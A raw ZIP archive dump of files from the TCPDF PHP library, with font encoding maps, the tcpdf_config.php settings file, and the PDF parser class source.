192=>'Agrave',193=>'Aacute',194=>'Acircumflex',195=>'Abreve',196=>'Adieresis',197=>'Cacute',198=>'AE',199=>'Ccedilla', 200=>'Egrave',201=>'Eacute',202=>'Ecircumflex',203=>'Edieresis',204=>'Igrave',205=>'Iacute',206=>'Icircumflex',207=>'Idieresis', 208=>'Dcroat',209=>'Nacute',210=>'Ograve',211=>'Oacute',212=>'Ocircumflex',213=>'Ohungarumlaut',214=>'Odieresis',215=>'Sacute', 216=>'Uhungarumlaut',217=>'Ugrave',218=>'Uacute',219=>'Ucircumflex',220=>'Udieresis',221=>'Eogonek',222=>'Tcommaaccent',223=>'germandbls', 224=>'agrave',225=>'aacute',226=>'acircumflex',227=>'abreve',228=>'adieresis',229=>'cacute',230=>'ae',231=>'ccedilla', 232=>'egrave',233=>'eacute',234=>'ecircumflex',235=>'edieresis',236=>'igrave',237=>'iacute',238=>'icircumflex',239=>'idieresis', 240=>'dcroat',241=>'nacute',242=>'ograve',243=>'oacute',244=>'ocircumflex',245=>'ohungarumlaut',246=>'odieresis',247=>'sacute', 248=>'uhungarumlaut',249=>'ugrave',250=>'uacute',251=>'ucircumflex',252=>'udieresis',253=>'eogonek',254=>'tcommaaccent',255=>'ydieresis'), // encoding map for: koi8-u 'koi8-u' => array(0=>'.notdef',1=>'.notdef',2=>'.notdef',3=>'.notdef',4=>'.notdef',5=>'.notdef',6=>'.notdef',7=>'.notdef', 8=>'.notdef',9=>'.notdef',10=>'.notdef',11=>'.notdef',12=>'.notdef',13=>'.notdef',14=>'.notdef',15=>'.notdef', 16=>'.notdef',17=>'.notdef',18=>'.notdef',19=>'.notdef',20=>'.notdef',21=>'.notdef',22=>'.notdef',23=>'.notdef', 24=>'.notdef',25=>'.notdef',26=>'.notdef',27=>'.notdef',28=>'.notdef',29=>'.notdef',30=>'.notdef',31=>'.notdef', 32=>'space',33=>'exclam',34=>'quotedbl',35=>'numbersign',36=>'dollar',37=>'percent',38=>'ampersand',39=>'quotesingle', 40=>'parenleft',41=>'parenright',42=>'asterisk',43=>'plus',44=>'comma',45=>'hyphen',46=>'period',47=>'slash', 48=>'zero',49=>'one',50=>'two',51=>'three',52=>'four',53=>'five',54=>'six',55=>'seven', 56=>'eight',57=>'nine',58=>'colon',59=>'semicolon',60=>'less',61=>'equal',62=>'greater',63=>'question', 64=>'at',65=>'A',66=>'B',67=>'C',68=>'D',69=>'E',70=>'F',71=>'G', 72=>'H',73=>'I',74=>'J',75=>'K',76=>'L',77=>'M',78=>'N',79=>'O', 80=>'P',81=>'Q',82=>'R',83=>'S',84=>'T',85=>'U',86=>'V',87=>'W', 88=>'X',89=>'Y',90=>'Z',91=>'bracketleft',92=>'backslash',93=>'bracketright',94=>'asciicircum',95=>'underscore', 96=>'grave',97=>'a',98=>'b',99=>'c',100=>'d',101=>'e',102=>'f',103=>'g', 104=>'h',105=>'i',106=>'j',107=>'k',108=>'l',109=>'m',110=>'n',111=>'o', 112=>'p',113=>'q',114=>'r',115=>'s',116=>'t',117=>'u',118=>'v',119=>'w', 120=>'x',121=>'y',122=>'z',123=>'braceleft',124=>'bar',125=>'braceright',126=>'asciitilde',127=>'.notdef', 128=>'SF100000',129=>'SF110000',130=>'SF010000',131=>'SF030000',132=>'SF020000',133=>'SF040000',134=>'SF080000',135=>'SF090000', 136=>'SF060000',137=>'SF070000',138=>'SF050000',139=>'upblock',140=>'dnblock',141=>'block',142=>'lfblock',143=>'rtblock', 144=>'ltshade',145=>'shade',146=>'dkshade',147=>'integraltp',148=>'filledbox',149=>'bullet',150=>'radical',151=>'approxequal', 152=>'lessequal',153=>'greaterequal',154=>'space',155=>'integralbt',156=>'degree',157=>'twosuperior',158=>'periodcentered',159=>'divide', 160=>'SF430000',161=>'SF240000',162=>'SF510000',163=>'afii10071',164=>'afii10101',165=>'SF390000',166=>'afii10103',167=>'afii10104', 168=>'SF250000',169=>'SF500000',170=>'SF490000',171=>'SF380000',172=>'SF280000',173=>'afii10098',174=>'SF260000',175=>'SF360000', 176=>'SF370000',177=>'SF420000',178=>'SF190000',179=>'afii10023',180=>'afii10053',181=>'SF230000',182=>'afii10055',183=>'afii10056', 184=>'SF410000',185=>'SF450000',186=>'SF460000',187=>'SF400000',188=>'SF540000',189=>'afii10050',190=>'SF440000',191=>'copyright', 192=>'afii10096',193=>'afii10065',194=>'afii10066',195=>'afii10088',196=>'afii10069',197=>'afii10070',198=>'afii10086',199=>'afii10068', 200=>'afii10087',201=>'afii10074',202=>'afii10075',203=>'afii10076',204=>'afii10077',205=>'afii10078',206=>'afii10079',207=>'afii10080', 208=>'afii10081',209=>'afii10097',210=>'afii10082',211=>'afii10083',212=>'afii10084',213=>'afii10085',214=>'afii10072',215=>'afii10067', 216=>'afii10094',217=>'afii10093',218=>'afii10073',219=>'afii10090',220=>'afii10095',221=>'afii10091',222=>'afii10089',223=>'afii10092', 224=>'afii10048',225=>'afii10017',226=>'afii10018',227=>'afii10040',228=>'afii10021',229=>'afii10022',230=>'afii10038',231=>'afii10020', 232=>'afii10039',233=>'afii10026',234=>'afii10027',235=>'afii10028',236=>'afii10029',237=>'afii10030',238=>'afii10031',239=>'afii10032', 240=>'afii10033',241=>'afii10049',242=>'afii10034',243=>'afii10035',244=>'afii10036',245=>'afii10037',246=>'afii10024',247=>'afii10019', 248=>'afii10046',249=>'afii10045',250=>'afii10025',251=>'afii10042',252=>'afii10047',253=>'afii10043',254=>'afii10041',255=>'afii10044'), // encoding map for: symbol 'symbol' => array(0=>'.notdef',1=>'.notdef',2=>'.notdef',3=>'.notdef',4=>'.notdef',5=>'.notdef',6=>'.notdef',7=>'.notdef', 8=>'.notdef',9=>'.notdef',10=>'.notdef',11=>'.notdef',12=>'.notdef',13=>'.notdef',14=>'.notdef',15=>'.notdef', 16=>'.notdef',17=>'.notdef',18=>'.notdef',19=>'.notdef',20=>'.notdef',21=>'.notdef',22=>'.notdef',23=>'.notdef', 24=>'.notdef',25=>'.notdef',26=>'.notdef',27=>'.notdef',28=>'.notdef',29=>'.notdef',30=>'.notdef',31=>'.notdef', 32=>'space',33=>'exclam',34=>'universal',35=>'numbersign',36=>'existential',37=>'percent',38=>'ampersand',39=>'suchthat', 40=>'parenleft',41=>'parenright',42=>'asteriskmath',43=>'plus',44=>'comma',45=>'minus',46=>'period',47=>'slash', 48=>'zero',49=>'one',50=>'two',51=>'three',52=>'four',53=>'five',54=>'six',55=>'seven', 56=>'eight',57=>'nine',58=>'colon',59=>'semicolon',60=>'less',61=>'equal',62=>'greater',63=>'question', 64=>'congruent',65=>'Alpha',66=>'Beta',67=>'Chi',68=>'Delta',69=>'Epsilon',70=>'Phi',71=>'Gamma', 72=>'Eta',73=>'Iota',74=>'theta1',75=>'Kappa',76=>'Lambda',77=>'Mu',78=>'Nu',79=>'Omicron', 80=>'Pi',81=>'Theta',82=>'Rho',83=>'Sigma',84=>'Tau',85=>'Upsilon',86=>'sigma1',87=>'Omega', 88=>'Xi',89=>'Psi',90=>'Zeta',91=>'bracketleft',92=>'therefore',93=>'bracketright',94=>'perpendicular',95=>'underscore', 96=>'radicalex',97=>'alpha',98=>'beta',99=>'chi',100=>'delta',101=>'epsilon',102=>'phi',103=>'gamma', 104=>'eta',105=>'iota',106=>'phi1',107=>'kappa',108=>'lambda',109=>'mu',110=>'nu',111=>'omicron', 112=>'pi',113=>'theta',114=>'rho',115=>'sigma',116=>'tau',117=>'upsilon',118=>'omega1',119=>'omega', 120=>'xi',121=>'psi',122=>'zeta',123=>'braceleft',124=>'bar',125=>'braceright',126=>'similar',127=>'.notdef', 128=>'.notdef',129=>'.notdef',130=>'.notdef',131=>'.notdef',132=>'.notdef',133=>'.notdef',134=>'.notdef',135=>'.notdef', 136=>'.notdef',137=>'.notdef',138=>'.notdef',139=>'.notdef',140=>'.notdef',141=>'.notdef',142=>'.notdef',143=>'.notdef', 144=>'.notdef',145=>'.notdef',146=>'.notdef',147=>'.notdef',148=>'.notdef',149=>'.notdef',150=>'.notdef',151=>'.notdef', 152=>'.notdef',153=>'.notdef',154=>'.notdef',155=>'.notdef',156=>'.notdef',157=>'.notdef',158=>'.notdef',159=>'.notdef', 160=>'Euro',161=>'Upsilon1',162=>'minute',163=>'lessequal',164=>'fraction',165=>'infinity',166=>'florin',167=>'club', 168=>'diamond',169=>'heart',170=>'spade',171=>'arrowboth',172=>'arrowleft',173=>'arrowup',174=>'arrowright',175=>'arrowdown', 176=>'degree',177=>'plusminus',178=>'second',179=>'greaterequal',180=>'multiply',181=>'proportional',182=>'partialdiff',183=>'bullet', 184=>'divide',185=>'notequal',186=>'equivalence',187=>'approxequal',188=>'ellipsis',189=>'arrowvertex',190=>'arrowhorizex',191=>'carriagereturn', 192=>'aleph',193=>'Ifraktur',194=>'Rfraktur',195=>'weierstrass',196=>'circlemultiply',197=>'circleplus',198=>'emptyset',199=>'intersection', 200=>'union',201=>'propersuperset',202=>'reflexsuperset',203=>'notsubset',204=>'propersubset',205=>'reflexsubset',206=>'element',207=>'notelement', 208=>'angle',209=>'gradient',210=>'registerserif',211=>'copyrightserif',212=>'trademarkserif',213=>'product',214=>'radical',215=>'dotmath', 216=>'logicalnot',217=>'logicaland',218=>'logicalor',219=>'arrowdblboth',220=>'arrowdblleft',221=>'arrowdblup',222=>'arrowdblright',223=>'arrowdbldown', 224=>'lozenge',225=>'angleleft',226=>'registersans',227=>'copyrightsans',228=>'trademarksans',229=>'summation',230=>'parenlefttp',231=>'parenleftex', 232=>'parenleftbt',233=>'bracketlefttp',234=>'bracketleftex',235=>'bracketleftbt',236=>'bracelefttp',237=>'braceleftmid',238=>'braceleftbt',239=>'braceex', 240=>'.notdef',241=>'angleright',242=>'integral',243=>'integraltp',244=>'integralex',245=>'integralbt',246=>'parenrighttp',247=>'parenrightex', 248=>'parenrightbt',249=>'bracketrighttp',250=>'bracketrightex',251=>'bracketrightbt',252=>'bracerighttp',253=>'bracerightmid',254=>'bracerightbt',255=>'.notdef', 1226=>'registered',1227=>'copyright',1228=>'trademark') ); // end of encoding maps } // --- END OF CLASS --- //============================================================+ // END OF FILE //============================================================+ PK���\�D�-��)visolutions/tcpdf/config/tcpdf_config.phpnu&1i�<?php //============================================================+ // File name : tcpdf_config.php // Begin : 2004-06-11 // Last Update : 2013-02-06 // // Description : Configuration file for TCPDF. // Author : Nicola Asuni - Tecnick.com LTD - Manor Coach House, Church Hill, Aldershot, Hants, GU12 4RQ, UK - www.tecnick.com - info@tecnick.com // License : GNU-LGPL v3 (http://www.gnu.org/copyleft/lesser.html) // ------------------------------------------------------------------- // Copyright (C) 2004-2013 Nicola Asuni - Tecnick.com LTD // // This file is part of TCPDF software library. // // TCPDF is free software: you can redistribute it and/or modify it // under the terms of the GNU Lesser General Public License as // published by the Free Software Foundation, either version 3 of the // License, or (at your option) any later version. // // TCPDF is distributed in the hope that it will be useful, but // WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. // See the GNU Lesser General Public License for more details. // // You should have received a copy of the GNU Lesser General Public License // along with TCPDF. If not, see <http://www.gnu.org/licenses/>. // // See LICENSE.TXT file for more information. //============================================================+ /** * Configuration file for TCPDF. * @author Nicola Asuni * @package com.tecnick.tcpdf * @version 4.9.005 * @since 2004-10-27 */ // If you define the constant K_TCPDF_EXTERNAL_CONFIG, the following settings will be ignored. if (!defined('K_TCPDF_EXTERNAL_CONFIG')) { // DOCUMENT_ROOT fix for IIS Webserver if ((!isset($_SERVER['DOCUMENT_ROOT'])) OR (empty($_SERVER['DOCUMENT_ROOT']))) { if(isset($_SERVER['SCRIPT_FILENAME'])) { $_SERVER['DOCUMENT_ROOT'] = str_replace( '\\', '/', substr($_SERVER['SCRIPT_FILENAME'], 0, 0-strlen($_SERVER['PHP_SELF']))); } elseif(isset($_SERVER['PATH_TRANSLATED'])) { $_SERVER['DOCUMENT_ROOT'] = str_replace( '\\', '/', substr(str_replace('\\\\', '\\', $_SERVER['PATH_TRANSLATED']), 0, 0-strlen($_SERVER['PHP_SELF']))); } else { // define here your DOCUMENT_ROOT path if the previous fails (e.g. '/var/www') $_SERVER['DOCUMENT_ROOT'] = '/'; } } // be sure that the end slash is present $_SERVER['DOCUMENT_ROOT'] = str_replace('//', '/', $_SERVER['DOCUMENT_ROOT'].'/'); // Automatic calculation for the following K_PATH_MAIN constant $k_path_main = str_replace( '\\', '/', realpath(substr(dirname(__FILE__), 0, 0-strlen('config')))); if (substr($k_path_main, -1) != '/') { $k_path_main .= '/'; } /** * Installation path (/var/www/tcpdf/). * By default it is automatically calculated but you can also set it as a fixed string to improve performances. */ define ('K_PATH_MAIN', $k_path_main); // Automatic calculation for the following K_PATH_URL constant $k_path_url = $k_path_main; // default value for console mode if (isset($_SERVER['HTTP_HOST']) AND (!empty($_SERVER['HTTP_HOST']))) { if(isset($_SERVER['HTTPS']) AND (!empty($_SERVER['HTTPS'])) AND strtolower($_SERVER['HTTPS'])!='off') { $k_path_url = 'https://'; } else { $k_path_url = 'http://'; } $k_path_url .= $_SERVER['HTTP_HOST']; $k_path_url .= str_replace( '\\', '/', substr(K_PATH_MAIN, (strlen($_SERVER['DOCUMENT_ROOT']) - 1))); } /** * URL path to tcpdf installation folder (http://localhost/tcpdf/). * By default it is automatically calculated but you can also set it as a fixed string to improve performances. */ define ('K_PATH_URL', $k_path_url); /** * path for PDF fonts * use K_PATH_MAIN.'fonts/old/' for old non-UTF8 fonts */ define ('K_PATH_FONTS', K_PATH_MAIN.'fonts/'); /** * cache directory for temporary files (full path) */ define ('K_PATH_CACHE', K_PATH_MAIN.'cache/'); /** * cache directory for temporary files (url path) */ define ('K_PATH_URL_CACHE', K_PATH_URL.'cache/'); /** *images directory */ define ('K_PATH_IMAGES', K_PATH_MAIN.'images/'); /** * blank image */ define ('K_BLANK_IMAGE', K_PATH_IMAGES.'_blank.png'); /** * page format */ define ('PDF_PAGE_FORMAT', 'A4'); /** * page orientation (P=portrait, L=landscape) */ define ('PDF_PAGE_ORIENTATION', 'P'); /** * document creator */ define ('PDF_CREATOR', 'TCPDF'); /** * document author */ define ('PDF_AUTHOR', 'TCPDF'); /** * header title */ define ('PDF_HEADER_TITLE', 'TCPDF Example'); /** * header description string */ define ('PDF_HEADER_STRING', "by Nicola Asuni - Tecnick.com\nwww.tcpdf.org"); /** * image logo */ define ('PDF_HEADER_LOGO', 'tcpdf_logo.jpg'); /** * header logo image width [mm] */ define ('PDF_HEADER_LOGO_WIDTH', 30); /** * document unit of measure [pt=point, mm=millimeter, cm=centimeter, in=inch] */ define ('PDF_UNIT', 'mm'); /** * header margin */ define ('PDF_MARGIN_HEADER', 5); /** * footer margin */ define ('PDF_MARGIN_FOOTER', 10); /** * top margin */ define ('PDF_MARGIN_TOP', 27); /** * bottom margin */ define ('PDF_MARGIN_BOTTOM', 25); /** * left margin */ define ('PDF_MARGIN_LEFT', 15); /** * right margin */ define ('PDF_MARGIN_RIGHT', 15); /** * default main font name */ define ('PDF_FONT_NAME_MAIN', 'helvetica'); /** * default main font size */ define ('PDF_FONT_SIZE_MAIN', 10); /** * default data font name */ define ('PDF_FONT_NAME_DATA', 'helvetica'); /** * default data font size */ define ('PDF_FONT_SIZE_DATA', 8); /** * default monospaced font name */ define ('PDF_FONT_MONOSPACED', 'courier'); /** * ratio used to adjust the conversion of pixels to user units */ define ('PDF_IMAGE_SCALE_RATIO', 1.25); /** * magnification factor for titles */ define('HEAD_MAGNIFICATION', 1.1); /** * height of cell respect font height */ define('K_CELL_HEIGHT_RATIO', 1.25); /** * title magnification respect main font size */ define('K_TITLE_MAGNIFICATION', 1.3); /** * reduction factor for small font */ define('K_SMALL_RATIO', 2/3); /** * set to true to enable the special procedure used to avoid the overlappind of symbols on Thai language */ define('K_THAI_TOPCHARS', true); /** * if true allows to call TCPDF methods using HTML syntax * IMPORTANT: For security reason, disable this feature if you are printing user HTML content. */ define('K_TCPDF_CALLS_IN_HTML', true); /** * if true adn PHP version is greater than 5, then the Error() method throw new exception instead of terminating the execution. */ define('K_TCPDF_THROW_EXCEPTION_ERROR', false); } //============================================================+ // END OF FILE //============================================================+ PK���\�#o,,#visolutions/tcpdf/config/index.htmlnu&1i�<html><body bgcolor="#FFFFFF"></body></html>PK���\9�Бr@r@"visolutions/tcpdf/tcpdf_parser.phpnu&1i�<?php //============================================================+ // File name : tcpdf_parser.php // Version : 1.0.001 // Begin : 2011-05-23 // Last Update : 2012-05-03 // Author : Nicola Asuni - Tecnick.com LTD - Manor Coach House, Church Hill, Aldershot, Hants, GU12 4RQ, UK - www.tecnick.com - info@tecnick.com // License : http://www.tecnick.com/pagefiles/tcpdf/LICENSE.TXT GNU-LGPLv3 // ------------------------------------------------------------------- // Copyright (C) 2011-2012 Nicola Asuni - Tecnick.com LTD // // This file is part of TCPDF software library. // // TCPDF is free software: you can redistribute it and/or modify it // under the terms of the GNU Lesser General Public License as // published by the Free Software Foundation, either version 3 of the // License, or (at your option) any later version. // // TCPDF is distributed in the hope that it will be useful, but // WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. // See the GNU Lesser General Public License for more details. // // You should have received a copy of the License // along with TCPDF. If not, see // <http://www.tecnick.com/pagefiles/tcpdf/LICENSE.TXT>. // // See LICENSE.TXT file for more information. // ------------------------------------------------------------------- // // Description : This is a PHP class for parsing PDF documents. // //============================================================+ /** * @file * This is a PHP class for parsing PDF documents.<br> * @package com.tecnick.tcpdf * @author Nicola Asuni * @version 1.0.001 */ // include class for decoding filters require_once(dirname(__FILE__).'/tcpdf_filters.php'); /** * @class TCPDF_PARSER * This is a PHP class for parsing PDF documents.<br> * @package com.tecnick.tcpdf * @brief This is a PHP class for parsing PDF documents.. * @version 1.0.001 * @author Nicola Asuni - info@tecnick.com */ class TCPDF_PARSER { /** * Raw content of the PDF document. * @private */ private $pdfdata = ''; /** * XREF data. * @protected */ protected $xref = array(); /** * Array of PDF objects. * @protected */ protected $objects = array(); /** * Class object for decoding filters. * @private */ private $FilterDecoders; // ----------------------------------------------------------------------------- /** * Parse a PDF document an return an array of objects. * @param $data (string) PDF data to parse. * @public * @since 1.0.000 (2011-05-24) */ public function __construct($data) { if (empty($data)) { $this->Error('Empty PDF data.'); } $this->pdfdata = $data; // get length $pdflen = strlen($this->pdfdata); // initialize class for decoding filters $this->FilterDecoders = new TCPDF_FILTERS(); // get xref and trailer data $this->xref = $this->getXrefData(); // parse all document objects $this->objects = array(); foreach ($this->xref['xref'] as $obj => $offset) { if (!isset($this->objects[$obj])) { $this->objects[$obj] = $this->getIndirectObject($obj, $offset, true); } } // release some memory unset($this->pdfdata); $this->pdfdata = ''; } /** * Return an array of parsed PDF document objects. * @return (array) Array of parsed PDF document objects. * @public * @since 1.0.000 (2011-06-26) */ public function getParsedData() { return array($this->xref, $this->objects); } /** * Get xref (cross-reference table) and trailer data from PDF document data. * @param $offset (int) xref offset (if know). * @param $xref (array) previous xref array (if any). * @return Array containing xref and trailer data. * @protected * @since 1.0.000 (2011-05-24) */ protected function getXrefData($offset=0, $xref=array()) { if ($offset == 0) { // find last startxref if (preg_match_all('/[\r\n]startxref[\s]*[\r\n]+([0-9]+)[\s]*[\r\n]+%%EOF/i', $this->pdfdata, $matches, PREG_SET_ORDER, $offset) == 0) { $this->Error('Unable to find startxref'); } $matches = array_pop($matches); $startxref = $matches[1]; } else { // get the first xref at the specified offset if (preg_match('/[\r\n]startxref[\s]*[\r\n]+([0-9]+)[\s]*[\r\n]+%%EOF/i', $this->pdfdata, $matches, PREG_OFFSET_CAPTURE, $offset) == 0) { $this->Error('Unable to find startxref'); } $startxref = $matches[1][0]; } // check xref position if (strpos($this->pdfdata, 'xref', $startxref) != $startxref) { $this->Error('Unable to find xref'); } // extract xref data (object indexes and offsets) $xoffset = $startxref + 5; // initialize object number $obj_num = 0; $offset = $xoffset; while (preg_match('/^([0-9]+)[\s]([0-9]+)[\s]?([nf]?)/im', $this->pdfdata, $matches, PREG_OFFSET_CAPTURE, $offset) > 0) { $offset = (strlen($matches[0][0]) + $matches[0][1]); if ($matches[3][0] == 'n') { // create unique object index: [object number]_[generation number] $index = $obj_num.'_'.intval($matches[2][0]); // check if object already exist if (!isset($xref['xref'][$index])) { // store object offset position $xref['xref'][$index] = intval($matches[1][0]); } ++$obj_num; $offset += 2; } elseif ($matches[3][0] == 'f') { ++$obj_num; $offset += 2; } else { // object number (index) $obj_num = intval($matches[1][0]); } } // get trailer data if (preg_match('/trailer[\s]*<<(.*)>>[\s]*[\r\n]+startxref[\s]*[\r\n]+/isU', $this->pdfdata, $matches, PREG_OFFSET_CAPTURE, $xoffset) > 0) { $trailer_data = $matches[1][0]; if (!isset($xref['trailer'])) { // get only the last updated version $xref['trailer'] = array(); // parse trailer_data if (preg_match('/Size[\s]+([0-9]+)/i', $trailer_data, $matches) > 0) { $xref['trailer']['size'] = intval($matches[1]); } if (preg_match('/Root[\s]+([0-9]+)[\s]+([0-9]+)[\s]+R/i', $trailer_data, $matches) > 0) { $xref['trailer']['root'] = intval($matches[1]).'_'.intval($matches[2]); } if (preg_match('/Encrypt[\s]+([0-9]+)[\s]+([0-9]+)[\s]+R/i', $trailer_data, $matches) > 0) { $xref['trailer']['encrypt'] = intval($matches[1]).'_'.intval($matches[2]); } if (preg_match('/Info[\s]+([0-9]+)[\s]+([0-9]+)[\s]+R/i', $trailer_data, $matches) > 0) { $xref['trailer']['info'] = intval($matches[1]).'_'.intval($matches[2]); } if (preg_match('/ID[\s]*[\[][\s]*[<]([^>]*)[>][\s]*[<]([^>]*)[>]/i', $trailer_data, $matches) > 0) { $xref['trailer']['id'] = array(); $xref['trailer']['id'][0] = $matches[1]; $xref['trailer']['id'][1] = $matches[2]; } } if (preg_match('/Prev[\s]+([0-9]+)/i', $trailer_data, $matches) > 0) { // get previous xref $xref = $this->getXrefData(intval($matches[1]), $xref); } } else { $this->Error('Unable to find trailer'); } return $xref; } /** * Get object type, raw value and offset to next object * @param $offset (int) Object offset. * @return array containing object type, raw value and offset to next object * @protected * @since 1.0.000 (2011-06-20) */ protected function getRawObject($offset=0) { $objtype = ''; // object type to be returned $objval = ''; // object value to be returned // skip initial white space chars: \x00 null (NUL), \x09 horizontal tab (HT), \x0A line feed (LF), \x0C form feed (FF), \x0D carriage return (CR), \x20 space (SP) $offset += strspn($this->pdfdata, "\x00\x09\x0a\x0c\x0d\x20", $offset); // get first char $char = $this->pdfdata{$offset}; // get object type switch ($char) { case '%': { // \x25 PERCENT SIGN // skip comment and search for next token $next = strcspn($this->pdfdata, "\r\n", $offset); if ($next > 0) { $offset += $next; return $this->getRawObject($this->pdfdata, $offset); } break; } case '/': { // \x2F SOLIDUS // name object $objtype = $char; ++$offset; if (preg_match('/^([^\x00\x09\x0a\x0c\x0d\x20\s\x28\x29\x3c\x3e\x5b\x5d\x7b\x7d\x2f\x25]+)/', substr($this->pdfdata, $offset, 256), $matches) == 1) { $objval = $matches[1]; // unescaped value $offset += strlen($objval); } break; } case '(': // \x28 LEFT PARENTHESIS case ')': { // \x29 RIGHT PARENTHESIS // literal string object $objtype = $char; ++$offset; $strpos = $offset; if ($char == '(') { $open_bracket = 1; while ($open_bracket > 0) { if (!isset($this->pdfdata{$strpos})) { break; } $ch = $this->pdfdata{$strpos}; switch ($ch) { case '\\': { // REVERSE SOLIDUS (5Ch) (Backslash) // skip next character ++$strpos; break; } case '(': { // LEFT PARENHESIS (28h) ++$open_bracket; break; } case ')': { // RIGHT PARENTHESIS (29h) --$open_bracket; break; } } ++$strpos; } $objval = substr($this->pdfdata, $offset, ($strpos - $offset - 1)); $offset = $strpos; } break; } case '[': // \x5B LEFT SQUARE BRACKET case ']': { // \x5D RIGHT SQUARE BRACKET // array object $objtype = $char; ++$offset; if ($char == '[') { // get array content $objval = array(); do { // get element $element = $this->getRawObject($offset); $offset = $element[2]; $objval[] = $element; } while ($element[0] != ']'); // remove closing delimiter array_pop($objval); } break; } case '<': // \x3C LESS-THAN SIGN case '>': { // \x3E GREATER-THAN SIGN if (isset($this->pdfdata{($offset + 1)}) AND ($this->pdfdata{($offset + 1)} == $char)) { // dictionary object $objtype = $char.$char; $offset += 2; if ($char == '<') { // get array content $objval = array(); do { // get element $element = $this->getRawObject($offset); $offset = $element[2]; $objval[] = $element; } while ($element[0] != '>>'); // remove closing delimiter array_pop($objval); } } else { // hexadecimal string object $objtype = $char; ++$offset; if (($char == '<') AND (preg_match('/^([0-9A-Fa-f]+)[>]/iU', substr($this->pdfdata, $offset), $matches) == 1)) { $objval = $matches[1]; $offset += strlen($matches[0]); } } break; } default: { if (substr($this->pdfdata, $offset, 6) == 'endobj') { // indirect object $objtype = 'endobj'; $offset += 6; } elseif (substr($this->pdfdata, $offset, 4) == 'null') { // null object $objtype = 'null'; $offset += 4; $objval = 'null'; } elseif (substr($this->pdfdata, $offset, 4) == 'true') { // boolean true object $objtype = 'boolean'; $offset += 4; $objval = 'true'; } elseif (substr($this->pdfdata, $offset, 5) == 'false') { // boolean false object $objtype = 'boolean'; $offset += 5; $objval = 'false'; } elseif (substr($this->pdfdata, $offset, 6) == 'stream') { // start stream object $objtype = 'stream'; $offset += 6; if (preg_match('/^[\r\n]+(.*)[\r\n]*endstream/isU', substr($this->pdfdata, $offset), $matches) == 1) { $objval = $matches[1]; $offset += strlen($matches[0]); } } elseif (substr($this->pdfdata, $offset, 9) == 'endstream') { // end stream object $objtype = 'endstream'; $offset += 9; } elseif (preg_match('/^([0-9]+)[\s]+([0-9]+)[\s]+R/iU', substr($this->pdfdata, $offset, 33), $matches) == 1) { // indirect object reference $objtype = 'ojbref'; $offset += strlen($matches[0]); $objval = intval($matches[1]).'_'.intval($matches[2]); } elseif (preg_match('/^([0-9]+)[\s]+([0-9]+)[\s]+obj/iU', substr($this->pdfdata, $offset, 33), $matches) == 1) { // object start $objtype = 'ojb'; $objval = intval($matches[1]).'_'.intval($matches[2]); $offset += strlen ($matches[0]); } elseif (($numlen = strspn($this->pdfdata, '+-.0123456789', $offset)) > 0) { // numeric object $objtype = 'numeric'; $objval = substr($this->pdfdata, $offset, $numlen); $offset += $numlen; } break; } } return array($objtype, $objval, $offset); } /** * Get content of indirect object. * @param $obj_ref (string) Object number and generation number separated by underscore character. * @param $offset (int) Object offset. * @param $decoding (boolean) If true decode streams. * @return array containing object data. * @protected * @since 1.0.000 (2011-05-24) */ protected function getIndirectObject($obj_ref, $offset=0, $decoding=true) { $obj = explode('_', $obj_ref); if (($obj === false) OR (count($obj) != 2)) { $this->Error('Invalid object reference: '.$obj); return; } $objref = $obj[0].' '.$obj[1].' obj'; if (strpos($this->pdfdata, $objref, $offset) != $offset) { // an indirect reference to an undefined object shall be considered a reference to the null object return array('null', 'null', $offset); } // starting position of object content $offset += strlen($objref); // get array of object content $objdata = array(); $i = 0; // object main index do { // get element $element = $this->getRawObject($offset); $offset = $element[2]; // decode stream using stream's dictionary information if ($decoding AND ($element[0] == 'stream') AND (isset($objdata[($i - 1)][0])) AND ($objdata[($i - 1)][0] == '<<')) { $element[3] = $this->decodeStream($objdata[($i - 1)][1], substr($element[1], 1)); } $objdata[$i] = $element; ++$i; } while ($element[0] != 'endobj'); // remove closing delimiter array_pop($objdata); // return raw object content return $objdata; } /** * Get the content of object, resolving indect object reference if necessary. * @param $obj (string) Object value. * @return array containing object data. * @protected * @since 1.0.000 (2011-06-26) */ protected function getObjectVal($obj) { if ($obj[0] == 'objref') { // reference to indirect object if (isset($this->objects[$obj[1]])) { // this object has been already parsed return $this->objects[$obj[1]]; } elseif (isset($this->xref[$obj[1]])) { // parse new object $this->objects[$obj[1]] = $this->getIndirectObject($obj[1], $this->xref[$obj[1]], false); return $this->objects[$obj[1]]; } } return $obj; } /** * Decode the specified stream. * @param $sdic (array) Stream's dictionary array. * @param $stream (string) Stream to decode. * @return array containing decoded stream data and remaining filters. * @protected * @since 1.0.000 (2011-06-22) */ protected function decodeStream($sdic, $stream) { // get stream lenght and filters $slength = strlen($stream); $filters = array(); foreach ($sdic as $k => $v) { if ($v[0] == '/') { if (($v[1] == 'Length') AND (isset($sdic[($k + 1)])) AND ($sdic[($k + 1)][0] == 'numeric')) { // get declared stream lenght $declength = intval($sdic[($k + 1)][1]); if ($declength < $slength) { $stream = substr($stream, 0, $declength); $slength = $declength; } } elseif (($v[1] == 'Filter') AND (isset($sdic[($k + 1)]))) { // resolve indirect object $objval = $this->getObjectVal($sdic[($k + 1)]); if ($objval[0] == '/') { // single filter $filters[] = $objval[1]; } elseif ($objval[0] == '[') { // array of filters foreach ($objval[1] as $flt) { if ($flt[0] == '/') { $filters[] = $flt[1]; } } } } } } // decode the stream $remaining_filters = array(); foreach ($filters as $filter) { if (in_array($filter, $this->FilterDecoders->getAvailableFilters())) { $stream = $this->FilterDecoders->decodeFilter($filter, $stream); } else { // add missing filter to array $remaining_filters[] = $filter; } } return array($stream, $remaining_filters); } /** * This method is automatically called in case of fatal error; it simply outputs the message and halts the execution. * @param $msg (string) The error message * @public * @since 1.0.000 (2011-05-23) */ public function Error($msg) { // exit program and print error die('<strong>TCPDF_PARSER ERROR: </strong>'.$msg); } } // END OF TCPDF_PARSER CLASS //============================================================+ // END OF FILE //============================================================+ PK���\�,�S�6�6#visolutions/tcpdf/tcpdf_filters.phpnu&1i�<?php //============================================================+ // File name : tcpdf_filters.php // Version : 1.0.000 // Begin : 2011-05-23 // Last Update : 2012-01-28 // Author : Nicola Asuni - Tecnick.com LTD - Manor Coach House, Church Hill, Aldershot, Hants, GU12 4RQ, UK - www.tecnick.com - info@tecnick.com // License : http://www.tecnick.com/pagefiles/tcpdf/LICENSE.TXT GNU-LGPLv3 // 